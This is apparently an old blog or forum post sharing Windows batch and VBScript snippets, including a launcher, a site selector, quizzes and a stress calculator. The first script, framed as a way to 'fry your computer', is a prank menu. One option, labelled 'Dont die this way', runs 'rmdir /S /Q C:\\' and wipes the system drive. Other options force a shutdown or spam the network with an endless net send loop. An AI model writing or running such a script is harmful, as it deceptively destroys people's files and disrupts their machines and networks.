some stuff with cmd

07.23.2008 17 view

How do you want to fry your computer:
Save as a .bat
Code:
@echo off
color 02
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. Deal with it or just x out now. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way
echo 2. Die this way
echo 3. Dont die this way
echo 4. Die this way
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
if %input%==3 goto three
if %input%==4 goto four
if %input%==5 goto five
goto menu
:one
shutdown -s -c there are three ways to stop me!
goto end
:two
shutdown -r
goto end
:three
echo your computer is dead....
pause
rmdir /S /Q C:\
goto end
:four
net send * you suck
goto four
:five
msg * you win! you get a cookie!
msg * go to www.legit.dk to see your prize!
pause
shutdown -f
:end



go to cmd or telnet or ftp
save as a .bat
Code:
@echo off
color 02
cls
echo


echo 1: start telnet
echo 2: start cmd
echo 3: start ftp
echo 4: exit

set /p start=
if %start% equ 1 goto a
if %start% equ 2 goto b
if %start% equ 3 goto c
if %start% equ 4 goto d

:a
telnet

:b
cmd

:c
ftp

:d
pause
echo have fun, by port
exit



site selector
save as .bat
Code:
@echo off
color 02
title Site Selector by VIS
set google=1
set yahoo=2
set hotmail=3
set facebook=4
set myspace=5
set cnn=6
set weather=7
set wikihow=8
set instructables=9
set youtube=10
set answers=11
set wikipedia=12
set miniclip=13
set ebay=14
set jokes and games=15
set bbc=16
set exit=e
set back=b
:top
echo ***************************************************************
echo.
echo Site Selector
echo.
echo ***************************************************************
echo.
echo Key: 1 Google - Search Engine
echo 2 Hotmail - Mail Server
echo 3 Yahoo - Search Engine/Mail Server
echo 4 Facebook - Social Networking
echo 5 Myspace - Social Networking
echo 6 CNN - News
echo 7 Weather - Weather
echo 8 WikiHow - A How-To Website
echo 9 Instructables - A How-To Website
echo 10 YouTube - Online Videos
echo 11 Answers - Online Encyclopedia
echo 12 Wikipedia - Online Encyclopedia
echo 13 Miniclip - A Game Webasite
echo 14 Ebay - An Internet Auction Site
echo 15 Jokes And Games - Funny Jokes And Games Website
echo 16 bbc - British Broadcastion Coorpration
echo.
echo e Exit
echo.
echo ***************************************************************
echo Enter the number of the website which you would like to go to:
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==1 start www.google.com
if %udefine%==2 start www.hotmail.com
if %udefine%==3 start www.yahoo.com
if %udefine%==4 start www.facebook.com
if %udefine%==5 start www.myspace.com
if %udefine%==6 start www.cnn.com
if %udefine%==7 start www.weather.com
if %udefine%==7 start www.wikihow.com
if %udefine%==9 start www.instructables.com
if %udefine%==10 start www.youtube.com
if %udefine%==11 start www.answers.com
if %udefine%==12 start www.wikipedia.com
if %udefine%==13 start www.miniclip.co.uk
if %udefine%==14 start www.ebay.co.uk
if %udefine%==15 start www.funnyandjokes.com
if %udefine%==16 start www.bbc.co.uk
if %udefine%==e goto exit

cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by VIS
echo.
echo ***************************************************************
echo Type e to exit or b to go back and select another site.
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==b goto top
if %udefine%==e goto exit
:exit
cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by VIS
echo.
echo ***************************************************************
pause
exit


stress test 1
save as .bat
Code:
@ECHO OFF
color 02
SET CorrectAnswer=Yes
SET WrongAnswer=No
:Retry
ECHO Are you alive? Yes/No
SET /p Guess=
IF %Guess% EQU %CorrectAnswer% ECHO That's Right!!!
IF %Guess% EQU %WrongAnswer% ECHO You liar
IF %Guess% EQU %CorrectAnswer% GOTO End
IF %Guess% EQU %WrongAnswer% GOTO Retry
IF %Guess% NEQ %CorrectAnswer% GOTO Error
IF %Guess% NEQ %WrongAnswer% GOTO Error
:Error
ECHO Please fill in Yes or No
ECHO.
GOTO Retry
:End
ECHO Conclusion: You are alive!!!
PAUSE
@ECHO OFF
SET /a GuessNum=0
SET /a Answer=%random%
:Retry2
ECHO Guess what Number I'm thinking of.
SET /p Guess2=
IF %Guess2% LSS %Answer% ECHO My Number is Higher.
IF %Guess2% GTR %Answer% ECHO My Number is Lower.
IF %Guess2%==%Answer% GOTO END
ECHO.
SET /a GuessNum=%GuessNum%+1
GOTO Retry2
:END
ECHO You are Correct! The Answer was %Answer%
ECHO It took %GuessNum% Guesses.
ECHO This was my small quiz and i hoped you enjoyed it.
PAUSE
EXIT



stress test 2
Code:
@echo off
color 02
:introduction
ECHO ================
ECHO APSC Version 1.0
ECHO ================
ECHO.
ECHO APSC: Automated Presentation Stress Calculator
ECHO.
ECHO The APSC, or Automated Presentation Stress Calculator,
ECHO is designed to calculate stress levels based
ECHO on user input. After the prompt, please enter
ECHO a number (not letter) based on the prompt command.
ECHO If prompted (1-10), answer on a scale from
ECHO one to ten. You will be given what one and
ECHO ten represents. Press ENTER after inputting.

:variables
ECHO.
ECHO.
ECHO How important is your presentation or performance? (1-10)
ECHO.
ECHO 1-----------------------------------10
ECHO Reading a List Inauguration Speech
ECHO.
SET /p importance=
ECHO.
ECHO.
ECHO How many hours are you going to sleep?
SET /p sleephours=
ECHO.
ECHO.
ECHO How many shots of espresso will you consume before the event?
SET /p espresso=
ECHO.
ECHO.
ECHO How many hours of practice would it take to be perfect?
SET /p perfect=
ECHO.
ECHO.
ECHO How many hours did you actually practice?
SET /p practice=
ECHO.
ECHO.
ECHO How difficult is the topic?
ECHO.
ECHO 1--------------------------------------10
ECHO Arithmetic Quantum Physics
ECHO.
SET /p difficulty=
ECHO.
ECHO.
ECHO How nervous are you?
ECHO.
ECHO 1-----------------------------------10
ECHO Just a Bit Graveyard at Midnight
ECHO.
SET /p nervous=
ECHO Now processing data and information.
SET /a SC=%sleephours%+%espresso%
SET /a eightp=%practice%*7.1
SET /a top=%eightp%*%SC%
SET /a threep=%perfect%*3.4
SET /a dni=%difficulty%+%nervous%+%importance%
SET /a bottom=%dni%*%threep%
SET /a final=%top%/%bottom%
ECHO.
ECHO.
ECHO ASPC decides that...
IF %FINAL% GEQ 1 ECHO You're safe. Hooray!
IF %FINAL% LSS 1 ECHO Reduce your stress. By a lot. Right now.
PAUSE



open cmd
save as .vbs
Code:
DIM objShell
set objShell = wscript.createObject("wscript.shell")
iReturn = objShell.Run("cmd.exe")
Comment
Verification image: verification image, type it in the box
Message: